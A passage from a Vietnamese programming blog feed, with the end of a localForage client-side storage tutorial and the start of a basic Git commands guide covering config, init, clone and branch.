class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage <span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span><span class="token string">"my point"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Key is cleared!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Key is cleared!</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý</strong>: nếu bạn <em>removeItem()</em> với key không tồn tại, thì phương thức này vẫn coi như thành công.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage <span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span><span class="token string">"her point"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Key is cleared!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Key is cleared!</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="clear" style="position:relative;"><a href="#clear" aria-label="clear permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>clear()</h3> <p>Phương thức <em>clear()</em> sẽ xoá bỏ toàn bộ cặp key-value tồn tại trong database.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Sử dụng callback</span> localforage<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span>successCallback<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc sử dụng promise</span> localforage <span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi xoá database thành công</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Database is now empty."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Xử lý khi việc xoá bị lỗi.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> khi sử dụng phương thức này đồng nghĩa với toàn bộ dữ liệu trong database sẽ bị xoá. Vì vậy, bạn cần phải cẩn trọng khi sử dụng phương thức này.</p> <h3 id="một-số-api-khác" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-api-kh%C3%A1c" aria-label="một số api khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số API khác</h3> <p>Ngoài 4 API giống với localStorage như trên ra, localForage còn hỗ trợ một số API khác như:</p> <ul> <li>length(successCallback): trả về số lượng cặp key-value trong database.</li> <li>keys(successCallback): trả về một mảng chứa các key trong database.</li> <li>iterate(iteratorCallback, successCallback): dùng để duyệt hết các cặp key-value trong database, hoạt động tương tự như phương thức <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>.</li> <li>key(keyIndex, successCallback): trả về tên của key tương ứng với ID của nó.</li> </ul> <h2 id="cấu-hình-localforage" style="position:relative;"><a href="#c%E1%BA%A5u-h%C3%ACnh-localforage" aria-label="cấu hình localforage permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu hình localForage</h2> <p>Mặc dù, bạn không cần phải cài đặt gì vẫn có thể sử dụng localForage (như trên). Tuy nhiên, localForage cũng hỗ trợ bạn cấu hình những thông tin quan trọng cho nó.</p> <h3 id="setdriver" style="position:relative;"><a href="#setdriver" aria-label="setdriver permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>setDriver()</h3> <p>Phương thức này dùng để xác định loại storage sẽ được sử dụng cho localForage.</p> <p>Mặc định, nếu sử dụng như trên mà không dùng <em>setDriver()</em> thì localForage sẽ sử dụng các loại storage mặc định theo thứ tự là: <strong>IndexedDB</strong>, <strong>WebSQL</strong>, <strong>localStorage</strong>. Nghĩa là localForage sẽ ưu tiên dùng IndexedDB trước; nếu trình duyệt không hỗ trợ thì chuyển sang dùng WebSQL; nếu trình duyệt cũng không hỗ trợ WebSQL nữa thì chuyển sang dùng localStorage.</p> <p>Cú pháp của phương thức này là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setDriver</span><span class="token punctuation">(</span>driverName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hoặc</span> <span class="token function">setDriver</span><span class="token punctuation">(</span><span class="token punctuation">[</span>driverName<span class="token punctuation">,</span> nextDriverName<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, các tham số của phương thức nhận một trong 3 giá trị là:</p> <ul> <li><em>localforage.INDEXEDDB</em></li> <li><em>localforage.WEBSQL</em></li> <li><em>localforage.LOCALSTORAGE</em></li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Yêu cầu localForage sử dụng localStorage</span> localforage<span class="token punctuation">.</span><span class="token function">setDriver</span><span class="token punctuation">(</span>localforage<span class="token punctuation">.</span><span class="token constant">LOCALSTORAGE</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Yêu cầu localForage ưu tiên sử dụng WebSQL rồi mới đến IndexedDB</span> localforage<span class="token punctuation">.</span><span class="token function">setDriver</span><span class="token punctuation">(</span><span class="token punctuation">[</span>localforage<span class="token punctuation">.</span><span class="token constant">WEBSQL</span><span class="token punctuation">,</span> localforage<span class="token punctuation">.</span><span class="token constant">INDEXEDDB</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="config" style="position:relative;"><a href="#config" aria-label="config permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>config()</h3> <p>Phương thức này dùng để cài đặt một số thông tin như: <em>driver, name, size, storeName, version, description</em>.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">localforage<span class="token punctuation">.</span><span class="token function">config</span><span class="token punctuation">(</span><span class="token punctuation">{</span> driver<span class="token punctuation">,</span> name<span class="token punctuation">,</span> size<span class="token punctuation">,</span> storeName<span class="token punctuation">,</span> version<span class="token punctuation">,</span> description<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> khác với hầu hết các API của localForage - là bất đồng bộ, thì phương thức <em>config()</em> lại xử lý đồng bộ.</p> <h2 id="sử-dụng-nhiều-database" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-nhi%E1%BB%81u-database" aria-label="sử dụng nhiều database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng nhiều database</h2> <p>Mặc định như trên, localForage sẽ lưu dữ liệu ở một nơi gọi là <strong>global store</strong> (toàn cục). Tuy nhiên, nhiều khi bạn muốn lưu trữ dữ liệu thành nhiều store khác nhau để quản lý cho dễ, lúc này bạn có thể sử dụng phương thức <em>createInstance()</em>.</p> <p>Ví dụ mình tạo ra 2 instance của localForage để lưu trữ toạ độ điểm ở không gian 2 chiều và 3 chiều:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> twoDStore <span class="token operator">=</span> localforage<span class="token punctuation">.</span><span class="token function">createInstance</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"2-D"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> threeDStore <span class="token operator">=</span> localforage<span class="token punctuation">.</span><span class="token function">createInstance</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"3-D"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó dữ liệu ở mỗi instance sẽ không liên quan đến nhau (kể cả khi chúng có cùng key):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">twoDStore<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> threeDStore<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> twoDStore<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 1, y: 2}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> threeDStore<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 1, y: 2, z: 3}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là những kiến thức cơ bản về localForage. Theo mình, đây là một trong những công cụ tốt nhất để quản lý dữ liệu database phía client.</p> <p>Còn theo bạn, việc sử dụng localForage là dễ hay khó? Và bạn thường sử dụng công cụ nào để quản lý database phía trình duyệt? Để lại bình luận phía dưới để chia sẻ ý kiến của mình nhé!</p> <p>Để xem thêm các API khác của localForage, bạn có thể xem thêm tại:</p> <ul> <li><a href="https://localforage.github.io/localForage/">Trang chủ</a>.</li> <li><a href="https://github.com/localForage/localForage/">localForage trên Github</a>.</li> </ul> <p>Xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Hướng dẫn các câu lệnh Git cơ bản]]><![CDATA[Ngày nay, Github đã trở nên vô cùng phổ biến đối với lập trình viên. Bạn có thể tìm thấy rất nhiều tài liệu, project khác nhau trên Github. Do đó, việc biết cách sử dụng Git là…]]>https://completejavascript.com/huong-dan-cac-cau-lenh-git-co-ban/https://completejavascript.com/huong-dan-cac-cau-lenh-git-co-ban/<![CDATA[Command Line]]><![CDATA[Git]]><![CDATA[Ubuntu]]>Thu, 24 Aug 2017 00:23:59 GMT<p>Ngày nay, Github đã trở nên vô cùng phổ biến đối với lập trình viên. Bạn có thể tìm thấy rất nhiều tài liệu, project khác nhau trên Github. Do đó, việc biết cách sử dụng Git là điều vô cùng quan trọng. Bài viết này sẽ hướng dẫn cơ bản về Git cũng như các câu lệnh Git cơ bản.</p> <h2 id="git-là-gì" style="position:relative;"><a href="#git-l%C3%A0-g%C3%AC" aria-label="git là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Git là gì?</h2> <p>Git là một hệ thống quản lý phiên bản phân tán (<em>Distributed Version Control System</em> – <strong>DVCS</strong>). Tức là khi sử dụng Git, bạn phải lấy toàn bộ source code về máy, gọi là <strong>clone</strong>.</p> <p>Lúc này, trên máy bạn sẽ có hai thành phần chính là: <strong>Local Repository</strong> và <strong>Working Space</strong>.</p> <ul> <li>Local Repository: chứa toàn bộ thông tin của project giống hệt như trên server.</li> <li>Working Space: chứa source code mà bạn đang làm việc (<em><strong>check-out</strong></em>).</li> </ul> <h2 id="cài-đặt-git" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-git" aria-label="cài đặt git permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Git</h2> <p>Git hỗ trợ Windows, Macs và Linux. Đối với Macs, mình chưa dùng bao giờ nên không dám chia sẻ.</p> <ul> <li>Windows: bạn có thể cài <a href="https://git-scm.com/download">Git for windows</a> hoặc <a href="https://tortoisegit.org/download/">Tortoisegit</a> (giao diện đồ hoạ).</li> <li>Linux: xem hướng dẫn tại <a href="https://git-scm.com/download/linux">đây</a>.</li> </ul> <p>Nếu bạn không quen sử dụng các câu lệnh thì có thể sử dụng TortoiseGit. Còn cá nhân, mình sử dụng Git trên <a href="/cac-cau-lenh-thuong-dung-tren-ubuntu-linux/">Ubuntu</a>.</p> <p>Sau khi cài đặt Git xong, chúng ta bắt đầu tìm hiểu về Git.</p> <h2 id="luồng-cơ-bản-khi-sử-dụng-git" style="position:relative;"><a href="#lu%E1%BB%93ng-c%C6%A1-b%E1%BA%A3n-khi-s%E1%BB%AD-d%E1%BB%A5ng-git" aria-label="luồng cơ bản khi sử dụng git permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Luồng cơ bản khi sử dụng Git</h2> <p>Sau đây là luồng cơ bản khi bạn sử dụng Git:</p> <ul> <li>Clone project từ server về Local Repository</li> <li>Check-out 1 nhánh từ Local Repository về Working Space</li> <li>Bạn sẽ làm việc (thêm, sửa, xoá tại Working Space)</li> <li>Add: xác nhận sự thay đổi của các files (đưa đến vùng Staging Area)</li> <li>Commit: cập nhật sự thay đổi lên Local Repository</li> </ul> <p>Về cơ bản đến đây là bạn đã hoàn thành 1 chu trình sử dụng Git. Lúc này, nếu như bạn muốn cập nhật sự thay đổi này lên server thì bạn sẽ dùng lệnh push để đẩy chúng lên server.</p> <h2 id="các-câu-lệnh-git-cơ-bản" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-git-c%C6%A1-b%E1%BA%A3n" aria-label="các câu lệnh git cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh Git cơ bản</h2> <p>Trước khi giới thiệu các câu lệnh Git, mình muốn nhấn mạnh với bạn rằng Git là công cụ để quản lý source code. Trong khi đó, Github là server chứa code.</p> <p>Vì vậy, trước khi bắt đầu bạn hãy đăng ký một tài khoản trên Github. Sau khi đăng ký xong, bạn cần nhớ 3 thông tin chính là: <strong>username</strong>, <strong>email</strong> và <strong>password</strong>.</p> <h3 id="config" style="position:relative;"><a href="#config" aria-label="config permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Config</h3> <p>Đầu tiên, bạn sẽ cần phải config username và email mà bạn đã đăng ký trên Github. Thực tế, Git hỗ trợ 3 tuỳ chọn là <code>--global</code>, <code>--system</code>, <code>--local</code>. Tuy nhiên, mình thường chọn <code>--global</code>.</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> config --global user.name <span class="token operator">&lt;</span>username<span class="token operator">></span> $ <span class="token function">git</span> config --global user.email <span class="token operator">&lt;</span>email<span class="token operator">></span></code></pre></div> <p>Để kiểm tra lại thông tin mà bạn đã config, sử dụng câu lệnh Git sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> config --list</code></pre></div> <h3 id="init" style="position:relative;"><a href="#init" aria-label="init permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Init</h3> <p>Câu lệnh Git này dùng để tạo mới một project trên máy. Bạn có thể tạo ở bất kì đâu tuỳ thích.</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> init</code></pre></div> <p>Sau khi chạy câu lệnh này xong, một thư mục ẩn <strong>.git</strong> sẽ xuất hiện. Thư mục này chứa thông tin cấu hình của project Git.</p> <h3 id="clone" style="position:relative;"><a href="#clone" aria-label="clone permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Clone</h3> <p>Câu lệnh Git này dùng để copy 1 project từ Local Respository đến một thư mục khác, hoặc từ server về máy tính của bạn.</p> <p>Để clone một project từ Local Respository trên máy:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> clone /path/to/repository/</code></pre></div> <p>Để clone một project trên server, bạn có thể sử dụng https hoặc ssh:</p> <ul> <li>https:</li> </ul> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> clone username@serverAddress:/path/to/project</code></pre></div> <ul> <li>ssh:</li> </ul> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> clone ssh://username@serverAddress/path/to/project</code></pre></div> <h3 id="branch" style="position:relative;"><a href="#branch" aria-label="branch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Branch</h3> <p>Khi sử dụng Git, bạn có thể tạo ra nhiều nhánh (branch) khác nhau. Câu lệnh Git này dùng để kiểm tra branch hiện tại:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> branch</code></pre></div> 